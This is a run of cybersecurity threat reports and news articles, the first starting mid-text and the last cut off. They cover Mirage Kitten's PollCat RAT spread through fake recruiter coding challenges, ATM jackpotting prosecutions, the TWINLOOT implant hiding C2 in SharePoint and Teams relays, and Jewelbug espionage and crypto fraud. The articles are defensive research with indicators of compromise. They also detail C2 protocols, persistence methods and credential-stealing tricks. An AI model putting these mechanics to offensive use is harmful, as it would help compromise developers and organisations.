claims that codes rotate every 30 seconds. In the delivery scenario described by the investigation, the threat actor posing as a recruiter could provide the code directly to the targeted developer. This gives the operator control over access to the lure, while the expiring code and countdown create a sense of urgency, pressuring the target to run the project and complete the assessment quickly, potentially accelerating the infection process. One-hour session window enforced by the trojanized coding challenge The bundled .env file contains the JWT signing secret, OTP service URL, and OTP client ID. Configuration embedded in .env file of the trojanized coding project, including the OTP service URL and client identifier The application forwards submitted codes to an attacker-managed domain registered in late June-2026: https://lifespotify[.]com/api/users/b879746e-fed9-4211-a6da-4d8223681267/otp/validate . That said, PollCat starts independently of the OTP authentication process. During application startup, app.js loads requireAuth.js , which imports and immediately starts the malicious requireObjects.js component. PollCat can therefore begin C2 registration and command polling while the application is still loading, before the user enters an access code. A failed OTP validation prevents the user from accessing the protected challenge features, but PollCat continues running in the background. A successful OTP validation issues a JWT and creates another worker that starts an additional PollCat instance. The first authenticated request also triggers the persistence attempt. Persistence starts when the first request carrying a valid JWT reaches the protected middleware. PollCat then uses one of the following methods: Operation system Persistence mechanism Windows Writes package.json and requireObject.js to %APPDATA%\Microsoft\Network, runs npm install, and creates a daily task named NetSync_<username> and scheduled for 09AM that runs the worker with Node.js. Linux Writes the worker to ~/.node_packages, runs npm i, and appends both a daily 09AM cron line and an @reboot line. macOS Uses the same ~/.node_packages copy and cron path, then creates and loads ~/Library/LaunchAgents/com.harsh.requireobject.plist with RunAtLoad and a daily 09AM trigger. Once active, PollCat identifies the host as 129--<hostname> and iterates over the following C2s until registration succeeds: 1. https://sahi-finance[.]com 2. https://GamebarAppinformation[.]azurewebsites[.]net 3. https://GamebarApp[.]azurewebsites[.]net To register, it sends the following HTTP request to the C2: POST /beacon HTTP/1.1 Host: <c2-host> Content-Type: application/json {"clientId":"<client-id>","type":"poll","pcName":"<hostname>","userName":"<username>"} On successful registration, PollCat expects an unusual HTTP 400 response containing a socket identifier and optional timing values: HTTP/1.1 400 Content-Type: application/json {"socketId":"<socket-id>","pollInterval":<poll-interval-ms>,"jitterTime":<jitter-ms>} After registration, PollCat sends host information to /gate/hello , polls /gate/fetch for commands, and returns results through /gate/submit . All endpoints in use are presented in the table below. Method Endpoint Purpose POST /beacon Register the client and obtain a socketId and optional timing values. POST /gate/hello Submit host, user, domain, OS information, and its current privilege level. GET /gate/fetch?token=<socketId> Poll for commands. POST /gate/submit Submit a Base64-encoded command-result structure. GET /vault/<uuid> Retrieve a hosted file and write it to the victim machine. PUT /vault/push/ Upload a local file or file chunk to the C2. POST /gate/track Report chunk-upload progress. By default, PollCat RAT polls every two minutes with up to five seconds of jitter. Commands and results are stored as little-endian binary records and carried as Base64 text. PollCat RAT declares 22 commands, but three of them have no implementation: Command Functionality 0x02 (DIR) List a directory. 0x03 (MV) Move a file or directory. 0x04 (RUN) Execute a shell command. 0x05 (TASKLIST) List running processes. 0x06 (DEL) Delete a file or directory. 0x07 (UPLOAD) Download a file from the C2 to the victim’s machine. 0x08 (DOWNLOAD) Upload a local file to the C2. 0X09 (DRIVES) List drives, volumes, or mount points. 0X0A (TERMINATE) Terminate a process by PID. 0X0B (RUNDLL) Load a DLL and call an exported function on Windows. 0X0C (MKDIR) Create a directory. 0X0D (ZIP) Create or extract a ZIP archive. 0X0E (CHUNKED_DOWNLOAD) Upload a local file in chunks. 0X0F (RUN_HIDDEN) Start a hidden background process. 0X20 (EVAL_JS) Execute JavaScript supplied by the C2. 0X30 (SYSTEM_CHECK) Collect process and software inventory. 0XA1 (WS_DOWNLOAD) Defined but not implemented. 0xB0 (REQUEST_ELEVATION) Defined but not implemented. 0XB1 (PERSIST) Defined but not implemented. 0xF0 (SET_SLEEP_TIME) Change the polling interval. 0XF1 (SET_IDLE_TIME) Store an idle-time value. 0xF2 (SET_JITTER_TIME) Change polling jitter. The command names UPLOAD , DOWNLOAD , and CHUNKED_DOWNLOAD are written from the C2’s perspective. UPLOAD sends a C2-hosted file to the victim’s machine, while the two download commands transfer victim files back to the C2. EVAL_JS runs JavaScript supplied by the C2 and gives that code access to Node.js modules, files, processes, networking, and child-process functions. SYSTEM_CHECK collects the names of running processes and lists files and folders from: %SystemDrive%\Program Files %SystemDrive%\Program Files (x86) %LOCALAPPDATA% %LOCALAPPDATA%\Programs %APPDATA% %USERPROFILE% %APPDATA%\Microsoft\Outlook %LOCALAPPDATA%\Microsoft\Olk\Attachments %USERPROFILE%\Documents It also searches for folders matching 24 hardcoded strings corresponding to security software vendor names: ‘Google’, ‘Microsoft’, ‘Palo Alto Networks’, ‘Cisco’, ‘VMware’, ‘Fortinet’, ‘Citrix’, ‘CheckPoint’, ‘Juniper Networks’, ‘LogMeIn’, ‘Sophos’, ‘Symantec’, ‘Trend Micro’, ‘McAfee’, ‘Kaspersky Lab’, ‘ESET’, ‘Bitdefender’, ‘Avast Software’, ‘CrowdStrike’, ‘SentinelOne’, ‘Malwarebytes’, ‘BraveSoftware’, ‘Tencent’, and ‘Naver’. When PollCat finds a matching folder, it lists that folder’s root contents. It does not recursively scan the entire product directory. The detailed inventory, including process names, directory listings, and collected paths, is sent as JSON to POST /api/system-details/result . Infrastructure Mirage Kitten continues to rely on Azure Websites and Cloudflare-backed domains to hinder infrastructure discovery and tracking. More importantly, the use of Microsoft Azure subdomains for C2 helps the traffic blend into legitimate organizational network activity. In some cases that we encountered during our research, the actors even incorporated the targeted organization’s name into the Azure subdomain, making C2 communications appear more like normal business traffic originating from an employee machine during regular business days. Domain Registrar ASN Malware sample naturalapplication.azurewebsites[.]net retaildemo.azurewebsites[.]net tubitak.azurewebsites[.]net MarkMonitor Inc. AS 8075 NodeRabbit RAT sample 1 rgbteller.azurewebsites[.]net wslwebui.azurewebsites[.]net plugplay.azurewebsites[.]net MarkMonitor Inc. AS 8075 NodeRabbit RAT sample 2 crossdwm.azurewebsites[.]net wdisystem.azurewebsites[.]net wslmenus.azurewebsites[.]net MarkMonitor Inc. AS 8075 NodeRabbit RAT sample 3 dnshnsdev.azurewebsites[.]net hpjumpsrv.azurewebsites[.]net storview.azurewebsites[.]net MarkMonitor Inc. AS 8075 NodeRabbit RAT sample 4 healthcomfsdpower[.]com visitfinancedentists[.]com NameCheap, Inc. AS 13335 NodeRabbit RAT sample 5 kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net MarkMonitor Inc. AS 8075 greenyjsgfd.azurewebsites[.]net helptellerbls.azurewebsites[.]net timedrv.azurewebsites[.]net userwellgtfs.azurewebsites[.]net MarkMonitor Inc. AS 8075 NodeRabbit RAT sample 6 hecowime-aqdphyd4bbdef6es.westeurope-01.azurewebsites[.]net msmanagementgrp[.]com msmanagementgrpmedia[.]com MarkMonitor Inc. AS 8075 NodeRabbit RAT sample 7 lifespotify[.]com Dynadot AS 8075 PollCat RAT gamebarapp.azurewebsites[.]net gamebarappinformation.azurewebsites[.]net MarkMonitor Inc. sahi-finance[.]com NameCheap, Inc. Based on our analysis of Mirage Kitten’s infrastructure, we identified certain patterns across several command-and-control channels, including msmanagementgrp[.]com and visitfinancedentists[.]com Further investigation based on these patterns led to the discovery of approximately 11 additional infrastructure assets attributed to the same group. Domain Creation date Registrar healthful-hub[.]com 2026-07-03 NameCheap, Inc. neumedicahealthcare[.]com 2026-07-03 NameCheap, Inc. optimumhealthcredit[.]com 2026-07-03 NameCheap, Inc. healthfullyrecipes[.]com 2026-06-30 NameCheap, Inc. refreshhealthandwellness[.]com 2026-06-09 NameCheap, Inc. healthvitalitycare[.]com 2026-05-18 NameCheap, Inc. aceofspadesmanagement[.]com 2026-05-18 NameCheap, Inc. glmediaagency[.]com 2026-05-18 NameCheap, Inc. digimediaskill[.]com 2026-05-18 NameCheap, Inc. healthyweightplan[.]com 2026-05-18 NameCheap, Inc. mens-health-online[.]com 2026-05-15 NameCheap, Inc. Victims Based on our telemetry, we identified victims in fintech, aviation and aerospace sectors across the Middle East and Africa – specifically, in Egypt, Ethiopia and Afghanistan. We also observed submissions of ZIP archives with trojanized projects containing NodeRabbit and PollCat to an online multi-scanner originating from several countries, including India, Türkiye, Israel, Iraq, Germany, and Ireland. Attribution We attribute this activity to Mirage Kitten with a high degree of confidence based on the following observations: Structural similarities with the Retrograde/ MiniFast native DLL backdoor (MD5: 810F8E3B88EB05F710C09552941D6F56 ) Initial C2 handshake and session establishment logic. Both PollCat and Retrograde/MiniFast follow a similar C2 handshake flow. Each builds a JSON request body containing host information and sends it via an HTTP POST request. Notably, both treat HTTP 400 as a successful handshake response rather than an error, parsing the response body to extract a socketId , which is then stored and used as the session token for subsequent C2 communication. Similar C2 handshake and socketId session establishment logic in MiniFast/Retrograde and PollCat Host registration. Both PollCat and Retrograde/MiniFast register the infected host with the C2 server by sending a structurally similar JSON request body containing the session token and host information. Malware Host registration request body C2 endpoint PollCat {“token”:”<socketId>”,”pcName”:”<host>”,”userName”:”<user>”,”domainName”:”<domain>”,”os”:”<os>”,”isElevated”:false} /gate/hello MiniFast/Retrograde {“token”:”<socketId>”,”pcName”:”<host>”,”userName”:”<user>”,”domainName”:”<USERDOMAIN>”,”isElevated”:<bool>} /agent/init Command fetching similarities. The similarities extend to command retrieval. Both PollCat and Retrograde/MiniFast periodically poll the C2 server using an HTTP GET request containing the previously assigned socketId as a token. Retrograde/MiniFast uses GET /agent/poll?token=<socketId> , while PollCat follows the same pattern with GET /gate/fetch?token=<socketId> , demonstrating a closely aligned C2 communication structure. Beacon timing similarities. PollCat and the Retrograde/MiniFast share identical beacon timing defaults: a polling interval of 120,000 ms ( 0x1D4C0 ), a jitter of 5,000 ms ( 0x1388 ), and a retry timeout of 60,000 ms ( 0xEA60 ). This further highlights the structural similarities between the two C2 communication implementations. Command set similarities. PollCat and Retrograde/MiniFast share several commands and command IDs. Notably, PollCat declares REQUEST_ELEVATION (0xB0) and PERSIST (0xB1) but does not implement them. In MiniFast, both are functional: 0xB0 performs UAC elevation, while 0xB1 creates the WindowsSecurityUpdate scheduled task for persistence. Command set similarities between MiniFast/Retrograde and PollCat, including shared command identifiers Proxy authentication similarities. NodeRabbit delegates corporate-proxy NTLM/Negotiate authentication to curl.exe --proxy-anyauth --proxy-user , using the victim’s logon session. Retrograde/MiniFast native DLL implements the same approach natively through WinHttpQueryAuthSchemes and WinHttpSetCredentials with NULL credentials. This shared proxy-aware C2 design suggests the same development approach across both malware families. Speaking of victimology, the attacks are consistent with Mirage Kitten’s known geographic targeting, with the group maintaining a strong focus on entities across Africa and the Middle East, this time with a particular focus on the aviation and FinTech sectors. As for the operational infrastructure, Mirage Kitten has historically hosted its initial ZIP lures on legitimate third-party services. Previously, it used onlyoffice.com for this purpose. In this activity, the group shifted to Amazon S3 buckets. Finally, the combination of Azure Websites and Cloudflare‑backed domains has been a hallmark of Mirage Kitten’s TTPs, which we have observed across NodeRabbit and PollCat. Conclusions Mirage Kitten’s latest activity marks a notable evolution in the group’s tooling: NodeRabbit and PollCat are the group’s first Node.js/JavaScript-based implants, departing from its usual native malware deployed through DLL search-order hijacking. The shift to cross-platform scripting gives the operators a single codebase that runs on Windows, Linux, and macOS, with payloads that blend naturally into developer workstations. The delivery mechanism, however, remains consistent with Mirage Kitten’s historical tradecraft: the use of recruiter personas on LinkedIn to target critical sectors across the Middle East and Africa for cyberespionage purposes. We continue to track the group’s activity and will report on new developments in future publications. Indicators of compromise Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at [email protected] . File hashes CBAAF0900A13F28E380F49ADECEC932C   FrontEnd-Task.zip 1EA83E4E4592B01E4ACAB63EB867BEE5   Front-Technical-Challenge.zip 366515822D5AC1CC500711EF57A2E32E   Task-FullStack.zip CF449F1992C2819E62AC44A0B06AC2E7   fullstack-1536.zip E95A4366686E3F786EA3C056FAB5B0DA   webapp76592.zip DE5AF16A3757EF700B01DC34D67079AE   webapp76531.zip BE086789568441D0D7E4679AEE51F566   challenges-17831.zip E259C5EDF158AAC4CFE14F77DDD0B196   challenges-17832.zip 291AC3ABE73C5158E59A437B75D5F0AA   Project-1802.zip 0962F56D7EC69F4F2A0162DCBE22116B   Case-34234.zip 795E053A990A1569FFDCB57F48F6D085   RankChallenge-react-6uJSX3-main.zip Domains and IPs oracle-challenge.s3[.]us-east-1.amazonaws[.]com naturalapplication.azurewebsites[.]net retaildemo.azurewebsites[.]net tubitak.azurewebsites[.]net rgbteller.azurewebsites[.]net wslwebui.azurewebsites[.]net plugplay.azurewebsites[.]net crossdwm.azurewebsites[.]net wdisystem.azurewebsites[.]net wslmenus.azurewebsites[.]net dnshnsdev.azurewebsites[.]net hpjumpsrv.azurewebsites[.]net storview.azurewebsites[.]net healthcomfsdpower[.]com visitfinancedentists[.]com kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net greenyjsgfd.azurewebsites[.]net helptellerbls.azurewebsites[.]net timedrv.azurewebsites[.]net userwellgtfs.azurewebsites[.]net hecowime-aqdphyd4bbdef6es.westeurope-01.azurewebsites[.]net msmanagementgrp[.]com msmanagementgrpmedia[.]com lifespotify[.]com gamebarapp.azurewebsites[.]net gamebarappinformation.azurewebsites[.]net sahi-finance[.]com healthful-hub[.]com neumedicahealthcare[.]com optimumhealthcredit[.]com healthfullyrecipes[.]com Refreshhealthandwellness[.]com healthvitalitycare[.]com aceofspadesmanagement[.]com glmediaagency[.]com digimediaskill[.]com healthyweightplan[.]com mens-health-online[.]com

Five plead guilty in latest federal ATM jackpotting case Five Venezuelan nationals have pleaded guilty to conspiracy to commit bank larceny after prosecutors accused them of being part of a group dedicated to robbing ATMs using malware. A Kansas federal court sentenced Luis Alberto Velasquez-Artigas, 27, to nine months in prison while the other four defendants — Royder Adrian Figuera-Perez, 29, Javier Mejia, Jr, 27, Gabriel Alexjandro Corales-Garcia, 33, and Italo Lizandro Corrales-Carrillo, 26 — are awaiting sentencing. According to court documents, the men drove from Indiana to Kansas in December 2025 to rob several ATMs in Wamego and Manhattan through jackpotting — a process in which criminals break into an ATM and install malware that allows them to empty it. They tried to install the malware on ATMs in Wamego and Manhattan but both attempts failed and triggered police alarms. The group was caught on surveillance cameras and all of them were arrested days later. “Jackpotting bandits are sweeping the nation. This particular group’s strategy was to specifically target ATMs they thought were by design more vulnerable to malware,” U.S. Attorney Ryan Kriegshauser said Monday. Kriegshauser added that there is now technology that can help stop jackpotting attacks and urged companies to invest in them as soon as possible. FBI director Kash Patel said in a statement last week that the ATM jackpotting scheme has caused losses of over $58 million since 2021. The FBI said it has tracked more than 1,900 ATM jackpotting incidents since 2020 and over 700 in 2025 that involved more than $20 million in losses. Ploutus malware This is the latest set of federal guilty pleas in recent weeks related to ATM jackpotting schemes. Another man, Juan Manuel Gouveia-Aguilera, 27, was sentenced to eight years in prison by a federal judge in Omaha, Nebraska, on August 20 after prosecutors said he was one of several members of a prominent gang to use the Ploutus malware to steal millions from hundreds of ATMs. He previously pleaded guilty to several charges including bank fraud, fraud in connection with computers and more. In addition to eight years in prison, Gouveia-Aguilera will have five years of supervised release and will have to pay restitution to the banks impacted. Prosecutors said Gouveia-Aguilera was responsible for more than $3.5 million in ATM losses. In many cases, criminals either link a laptop to the ATM’s hard drive or replace it with an infected drive pre-loaded with the Ploutus malware. Oddry Arnoldo Cabrera Torrealba and Carlos Javier Padron also were recently given 6.5-year sentences for their connections to the jackpotting scheme. At least 119 people have been charged for their alleged roles. The group allegedly targeted ATMs in 47 U.S. states and several other countries. “Gouveia-Aguilera and his alleged co-conspirators thought they could hack American ATMs, drain financial institutions, and funnel money to a violent transnational criminal organization without consequence. They were wrong,” said HSI Kansas City Special Agent in Charge Rick Sabatini on August 21. Assistant Attorney General A. Tysen Duva said the ATM jackpotting schemes were meant to help fund violent transnational criminal organizations like Venezuelan gang Tren de Aragua. Federal prosecutors have sought to connect the ATM jackpotting attacks to Tren de Aragua. In the initial indictment charging Gouveia-Aguilera and dozens of others, prosecutors accused the group of being responsible for the creation of Ploutus malware. FBI officials previously told Recorded Future News that they believe the malware was created by Anibal Alexander Canelon Aguirre, who was part of the indictment that included Gouveia-Aguilera and several other Venezuelan nationals. Experts and government agencies have warned for nearly a decade about variants of the Ploutus malware, which Google researchers previously said “is one of the most advanced ATM malware families” they've seen. Ploutus was first detected by Symantec in 2013 and has gone through several updates since then. It was initially deployed against ATMs across Mexico in 2013, allowing criminals to empty machines by either attaching an external keyboard attached to the ATM or by sending an SMS message, a technique that had never been seen before, according to Google. Recorded Future News spoke to multiple companies that have tracked Ploutus for more than a decade and none could confirm whether Aguirre was the true developer of the malware or whether its development had any ties to Tren de Aragua. Ploutus has been used to target machines from a variety of vendors, including Diebold Nixdorf, Kalignite Platform and others. Diebold Nixdorf issued multiple alerts in 2017 and 2018 about variants of the malware being used to steal money across Mexico and the U.S. Jonathan Greig is a Breaking News Reporter at Recorded Future News. Jonathan has worked across the globe as a journalist since 2014. Before moving back to New York City, he worked for news outlets in South Africa, Jordan and Cambodia. He previously covered cybersecurity at ZDNet and TechRepublic.

Cybersecurity researchers have disclosed details of a previously undocumented Python implant framework dubbed TWINLOOT. "TWINLOOT is a modular, PyArmor-hardened Python implant designed to operate its entire command-and-control infrastructure inside trusted Microsoft services," Ontinue said in a technical report shared with The Hacker News. "Tasking flows through SharePoint Online file dead-drops via the Microsoft Graph API. Interactive operator access routes through WebRTC DataChannels relayed by Microsoft Teams TURN servers." Traffic to and from the Graph API is driven by means of a headless instance of the victim's own Edge browser, thereby making it virtually indistinguishable from legitimate network activity. The implant is equipped to harvest Windows credentials using pixel-perfect fake lock screens, offer a reverse SOCKS5 pivot into victim networks, execute arbitrary commands, and establish persistence on the host. Ontinue's Cyber Defense Center said it discovered the implant during its investigation into an ongoing campaign in July 2026. A defining aspect of the malware is its use of multiple command-and-control (C2) channels, all of which make use of Microsoft services - SharePoint Online (Graph API) for tasking Teams TURN relays for interactive access Victim's Edge browser for ferrying Graph traffic The initial access vector is assessed to be a social engineering attack via Microsoft Teams, in which the threat actor masquerading as IT support persuaded a target to run a PowerShell command that's responsible for downloading an archive file containing the Python runtime and a 39 MB compiled payload ("bootstrap-fat.pyc"), which serves as a loader for TWINLOOT. Describing the threat actor as knowledgeable in offensive tradecraft and Microsoft's cloud architecture, Ontinue said the Python framework is the first such tool to combine Microsoft 365 dead drop C2, Teams TURN relay abuse, and headless browser transport under a single umbrella. TWINLOOT runs two parallel channels from the victim machine: One is a SharePoint dead drop that authenticates to an attacker's Azure tenant and polls a SharePoint drive for commands every 15 seconds, allowing the operator to receive instructions, run them, and exfiltrate data back to the server. The second channel makes use of a reverse SOCKS5 tunnel to enable interactive access and lateral movement. "It runs over either a direct TLS/WebSocket connection to the attacker's server or through the Teams TURN WebRTC relay," Ontinue said. "The operator gets a SOCKS5 listener on their own machine (127.0.0.1:1080), and proxies traffic through it into the victim's internal network. Those connections exit from pythonw.exe on the victim host to internal targets on ports like 445 (SMB), 3389 (RDP), 5985 (WinRM), and 1433 (MSSQL). To the victim's internal network, it looks like the compromised host is making normal lateral connections." To enable lateral movement, the operator captures the victim's password via bogus lock screen prompts and exfiltrates it over the SharePoint channel. The fake screen is rendered when the "credz_waiting" command is issued by the threat actor. It's worth noting that the entered password is not validated against Windows authentication to check if the victim has entered the right system password. Regardless of what is provided, the victim is displayed an error message "The password is incorrect. Try again," likely causing them to input the correct password the second time. Once the credential is entered, the fake lock screen is automatically closed. Every password captured by the screen is encrypted and uploaded to the SharePoint drive. These credentials are then abused through the SOCKS5 tunnel to pivot to the next host using Remote Desktop Protocol (RDP) or WinRM. This is not the first time bad actors have leveraged a TURN-based mechanism to communicate with the threat actor. In June 2026, Broadcom-owned Symantec and Carbon Black detailed DragonForce ransomware's use of a Go-based remote access trojan (RAT) called Backdoor.Turn to conceal command-and-control (C2) traffic inside Microsoft Teams relay infrastructure. Although the overall modus operandi is the same, the manner in which they are implemented is different in both tools: Backdoor.Turn uses a QUIC session through the relay. TWINLOOT, on the other hand, uses WebRTC DataChannels via aiortc. Then, late last month, another new Rust-based RAT dubbed msaRAT was observed using the same TURN method, but against Twilio instead of Teams. Attributed to the Chaos ransomware group, the malware is implemented using the Tokio asynchronous runtime to control a headless browser session and establish a covert tunnel to the attacker's server. The DLL malware ("lib.dll") is launched prior to the deployment of the ransomware by means of an MSI installer that's downloaded from an external host. It then locates the Chrome or Edge installation path, launches the browser in headless mode, and injects JavaScript code into a new browser tab to initialize a WebRTC communication channel with the C2 server. "This RAT never touches the network directly — it controls its C2 communication channel exclusively through Chrome DevTools Protocol (CDP), a browser debugging API," Cisco Talos noted late last month. "The binary contains a Cloudflare Workers endpoint, but it never makes HTTP connections to that domain itself; it offloads that work entirely to the browser." "msaRAT manipulates the browser via CDP, performs signaling (SDP Offer/Answer exchange) with Cloudflare Workers, and establishes a WebRTC DataChannel between the browser and the C2 server using Twilio TURN (Traversal Using Relays around NAT) as a relay." The latest findings from Ontinue indicate how multiple threat actors have independently adopted the same TURN relay abuse within a year of the technique, codenamed Ghost Calls, being publicly disclosed by Praetorian. Like in the case of msaRAT, TWINLOOT launches the victim's Edge browser in headless mode, enables its remote debugging interface, and connects to it via CDP. Once this step is complete, it navigates a browser tab to "graph.microsoft[.]com" and then leverages the Drive API to interact with the threat actor's SharePoint. "Chaos group's msaRAT uses the same headless-browser-via-CDP architecture, but for WebRTC signalling through Cloudflare Workers," Ontinue explained. "The convergence is notable: two unrelated actors independently arrived at 'drive the victim's own browser as a C2 transport' within the same month." Persistence is set up based on the build (PERSIST_ENABLED=True or False). It uses four methods - TypeLib COM scriptlet hijack GhostTask-style TaskCache manipulation Self-update using a reobf.json manifest The fourth method makes use of an open-source tool Swarmer, which was released by Praetorian last year as a way to "convert Windows Registry export files into Windows hive files that can be used to replace NTUSER.MAN." The method makes it possible to create stealthy Registry keys to HKEY_CURRENT_USER (aka HKCU) without being detected by security software even in the absence of administrator access. "The implant builds a mandatory Windows profile hive entirely offline using two APIs: RegLoadAppKeyW (which loads a registry hive into a private application namespace without requiring admin privileges) and Microsoft's offline registry library offreg.dll (ORCreateKey, ORSetValue, ORSaveHive)," Ontinue said. "The resulting hive is written to %USERPROFILE% \NTUSER.MAN. When Windows loads a user profile, it checks for NTUSER.MAN (a mandatory profile override) before NTUSER.DAT. If NTUSER.MAN exists, its contents take precedence." The development marks the first recorded malicious use of this persistence method in the wild. Beyond these capabilities, TWINLOOT supports reconnaissance, discovery, screenshot capture, and the ability to fall back to an EtherHiding-style mechanism to obtain the runtime configuration if the Azure Blob Storage dead drop method fails. The Ethereum-based resolution is unused in the build, suggesting the framework is being actively developed. It's not clear who is behind the toolkit, but Ontinue said it shares operational parallels with a cluster called STAC4749, which has a track record of orchestrating Teams voice phishing campaigns to deploy Chaos ransomware. "The STAC4749 overlaps are notable, Teams vishing delivery, a PyArmour-obfuscation python backdoor, a reverse SOCKS5 proxy, HKCU Run Key persistence, and an adjacent timeline," the cybersecurity company said. "However, the underlying implementation differs substantially." "STAC4749 uses PyInstaller, packaging, Go-Based implants, standalone SOCKS5 proxy tooling, and .top domains behind Cloudflare. TWINLOOT uses raw .pyc execution, pure Python, an integrated SOCKS5 multiplexer, and drop-caught aged domains with SharePoint dead-drop C2. If these are the same operator, the tooling was rebuilt from scratch rather than evolved."

Security researchers from Broadcom’s Threat Hunter Team have revealed that Jewelbug, a threat group associated with Chinese-sponsored cyber-espionage operations, may be a hacker-for-hire group that also runs profitable crypto fraud campaigns. In a new report published on August 13, the threat intelligence team – which brought together experts from Symantec and Carbon Black – shed new light on the advanced persistent threat (APT) group, also known as Ink Dragon, Earth Alux, REF770 and CL-STA-0049. The researchers revealed that Jewelbug uses the same infrastructure to conduct espionage against governments and militaries across the Middle East, Southeast Asia and South Asia as well as a financially motivated operation targeting Chinese-speaking cryptocurrency users through fake exchange-download portals. “The two are not separate ventures that happen to share a name: our investigation revealed they are run by the same small team, on shared infrastructure, from one control panel,” the Broadcom report noted. At least one of the operators, likely running what Broadcom described as “the commercial arm of the business,” identified as ‘ople500’ in the group’s control panel, has been identified as using the ‘paopaodada’ (‘bubble boss’) persona. This individual has been advertised on Telegram as the contact for a “website ranking rental” service. Broadcom associated the individual “with high confidence” to a company, described as an SEO business, registered in Changsha, the capital of the Hunan province. The Threat Hunter Team has identified the name of the sole legal representative of this company and assessed that that person supplies access, infrastructure and delivery to the espionage operation rather than being part of the team of operators. Cyber Espionage Targets Jewelbug's cyber espionage operations had already been reported by various threat intelligence teams, including Trend Micro's TrendAI, Palo Alto Networks' Unit 42 and Check Point Research. Researchers found the actor typically gained access through vulnerable IIS and SharePoint servers before deploying web shells and a sophisticated backdoor tracked as VARGEIT, Squidoor or FinalDraft. The malware supported multiple covert command-and-control (C2) methods, including Microsoft Graph/Outlook APIs, DNS tunnelling and ICMP tunnelling. After a months-long investigation into some of the threat group’s operations, Broadcom researchers found it has targeted several government organizations across the Middle East and Southeast Asia, with more than 90 police and government email addresses in South Asia. They also found a victim database which recorded more than one million implant check-ins and over 580,000 stolen browser cookies in less than three months of active operations. One set of implants was configured to utilize the internal proxy of a major US aerospace and industrial manufacturer. In its largest operation, a single planted script placed a watering-hole on more than 15 government webmail tenants in a Middle Eastern country at once. Crypto Fraud Targets Meanwhile, some of Jewelbug's infrastructure was used to run a cryptocurrency fraud business on the side. The Broadcom researchers said the group operated a financially motivated campaign targeting Chinese-speaking cryptocurrency users through fake exchange-download websites, while decoy documents themed around Taiwanese government organizations suggested it also had an interest in Taiwan. The report added that the common thread across the group's espionage targets was government communications systems and the service providers that host them, potentially providing long-term access to official correspondence. Jewelbug’s Common Infrastructure for Espionage and Fraud At the center of both the espionage and cryptocurrency fraud operations was XG-Web, a browser-based C2 platform that acted as the group's central management console. According to the Broadcom report, the same XG-Web infrastructure was used to administer victims from both campaigns, with implants, stolen data and operator activity all feeding into a shared backend database. One of the primary tools connected to this infrastructure was Antino, the group's Windows backdoor. Antino communicated with operators through the Microsoft Graph API, allowing C2 traffic to blend in with legitimate Microsoft cloud services. The Broadcom report said the malware was used across multiple Jewelbug campaigns and was deployed through fake software installers and themed lures. The group also operated a malicious Chrome and Firefox extension called ‘PDF Viewer,’ which was paired with a helper program disguised as a Microsoft Edge component. The combination gave operators extensive access to victims' browsers, enabling them to steal cookies, credentials and browsing data, while also providing a command shell on the compromised host through a native messaging component. Alongside Antino, Jewelbug used a Linux and router implant known as ClientKing, which supported multiple C2 methods, including DNS tunnelling and provided remote shell access and pivoting capabilities. The researchers noted that ClientKing infrastructure overlapped with the group's wider XG-Web ecosystem, further linking the espionage and fraud operations. Finally, the group also abused Google Docs for payload delivery and C2. When operators launched a campaign, the backend created public Google documents containing obfuscated payloads, which implants would retrieve and execute. By leveraging Google's infrastructure, the group was able to disguise malicious activity as legitimate traffic and reduce the likelihood of detection.

The Jewelbug hacker group has been carrying out espionage operations targeting governments and militaries while also engaging in cryptocurrency fraud. Although the threat actor has targeted government agencies and organizations in critical sectors, including defense, telecommunications, education, and aviation, its cryptocurrency-related activity suggests that they may also operate as a hack-for-hire group that seeks to profit from cybercrime. In a recent operation, Jewelbug (also known as Earth Alux and REF7707) compromised webmail accounts belonging to 15 government tenants as part of a campaign targeting a country in the Middle East. Researchers at Symantec found that the espionage campaign and the cryptocurrency fraud were conducted from the same control panel. The China-based hacker group gained write access to the shared webmail installation and inserted a malicious script into its common template. The script then ran on login pages and mailbox views across 15 tenants. After execution, the script established a WebSocket connection to the attacker's command-and-control (C2) server, exfiltrated webmail cookies, and retrieved the user's email address to determine whether it belonged to a targeted government domain. Valuable targets would receive a fake Adobe Flash update prompt, which installs the main payload on Windows, the Antino backdoor, and browser tooling. Apart from Antino, the threat actor also uses the XG-Web remote-access and data-theft framework for managing campaigns and victim information. According to Symantec, Jewelbug delivers Antino through malicious HTA files and fake Adobe Flash/Adobe installers, and then uses it to deploy additional payloads. One of the payloads is a malicious browser extension for Chrome and Firefox, named PDF Viewer, which steals cookies and credentials, intercepts traffic, injects JavaScript, and remotely exposes browser functions. Symantec traced Antino infections to Jewelbug’s infrastructure and then obtained visibility into the group’s C2 management platform, database, server logs, source code, and operator files. The data showed that the hackers ran a large-scale espionage operation and "an industrial-scale cryptocurrency fraud business." “Jewelbug’s victim database holds more than one million implant check-in rows, more than 580,000 stolen browser cookies, several thousand captured credentials, and more than 2,300 exfiltrated email bodies,” Symantec researchers note. Regarding the espionage part, Jewelbug targeted government and military organizations across the Middle East, Southeast Asia, and South Asia. “Runtime server logs recorded roughly 1.1 million geolocation events against approximately 4,300 distinct source IP addresses: approximately 87,200 connections from a Southeast Asian country (targeting state telecom and military networks), approximately 53,100 from a Middle Eastern country (across the national carrier’s ranges, including Starlink-connected addresses in the capital), and approximately 15,000 from a second Southeast Asian country (including government ministry infrastructure),” Symantec says. The researchers explained that the threat actor obtained write access to the webmail installation used by multiple government ministries and agencies after compromising a shared web-hosting platform operated by the state telecommunications provider and national services agency. By injecting a single script tag, the threat actor ensured that the JavaScript payload opened a WebSocket to the C2 every time a user on one of nine government domains logged in. "A single campaign spanned more than 15 government webmail tenants, with the hook firing on the login page and every mailbox view," Symantec says. The cryptocurrency theft operations are backed by AI-generated articles driving traffic to fake crypto exchange sites and click-fraud bots that manipulate search rankings. According to the researchers, the threat actor relies on an automated attack pipeline that scrapes keywords, generates thousands of fake download pages using AI, and publishes them "across a 44-server content-management fleet and hundreds of lookalike domains" impersonating OKX and Binance. Using click bots, Jewelbug manipulates rankings to promote their fraudulent pages. The fraud uses other lures, as well: sports betting, pirated livestream portals, and private detective scams. Symantec researchers have high confidence attributing Jewelbug's financially-motivated activities to a Chinese company that advertises SEO services. Jewelbug also uses a Rust-based implant called ‘ClientKing’ that targets Linux servers, ARM64 devices, and ASUS routers, and supports command execution, SOCKS proxying, DNS tunneling, and in-memory kernel module loading. The hackers used public Google Docs to host obfuscated payloads retrieved and 